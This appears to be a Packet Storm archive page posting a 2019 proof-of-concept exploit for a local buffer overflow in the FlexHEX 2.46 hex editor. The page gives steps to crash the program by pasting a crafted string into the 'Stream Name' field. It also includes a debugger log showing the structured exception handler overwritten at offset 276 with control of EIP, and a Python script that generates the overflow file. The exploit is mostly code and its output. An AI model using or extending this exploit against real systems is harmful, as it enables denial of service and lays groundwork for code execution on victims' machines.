exploit the possibilities

FlexHEX 2.46 Denial Of Service

FlexHEX 2.46 Denial Of Service
Posted Feb 1, 2019
Authored by Rafael Pedrero

FlexHEX version 2.46 denial of service proof of concept exploit with SEH overwrite.

tags | exploit, denial of service, proof of concept
MD5 | c88caddada53e191e4cd6969d144f8d1

FlexHEX 2.46 Denial Of Service

Change Mirror Download
# Exploit Title: FlexHEX v2.46 - Denial of Service (PoC) and SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2018-12-20
# Vendor Homepage: http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
# Software Link : http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
# Tested Version: 2.46
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run FlexHEX.exe
# 2.- Go to Menu "Stream" - "New Stream" and copy content of FlexHEX_SEH_Crash.txt to clipboard
# 3.- Paste the content into the field: 'Stream Name:'
# 4.- Click 'OK' button and you will see a crash.


'''
Log data, item 21
Address=0BADF00D
Message= SEH record (nseh field) at 0x0012dde8 overwritten with unicode
pattern : 0x006a0041 (offset 276), followed by 20 bytes of cyclic data
after the handler

SEH chain of main thread
Address SE handler
0012DDFC FlexHEX.00420042
00420042 8BC13B2C
4E8B3C46 *** CORRUPT ENTRY ***

EAX 00410041 FlexHEX.00410041
ECX 00000000
EDX 00000000
EBX 0012FA18
ESP 0012DE3C UNICODE "AAAAAAAAAABBBB"
EBP 00410041 FlexHEX.00410041
ESI 0012DE78
EDI 0012E69C
EIP 00410041 FlexHEX.00410041
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1


'''

#!/usr/bin/env python

nseh = "BB"
seh = "BB"

junk = "\x41" * 276
crash = junk + nseh + seh
f = open ("FlexHEX_SEH_Crash.txt", "w")
f.write(crash)
f.close()
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    11 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close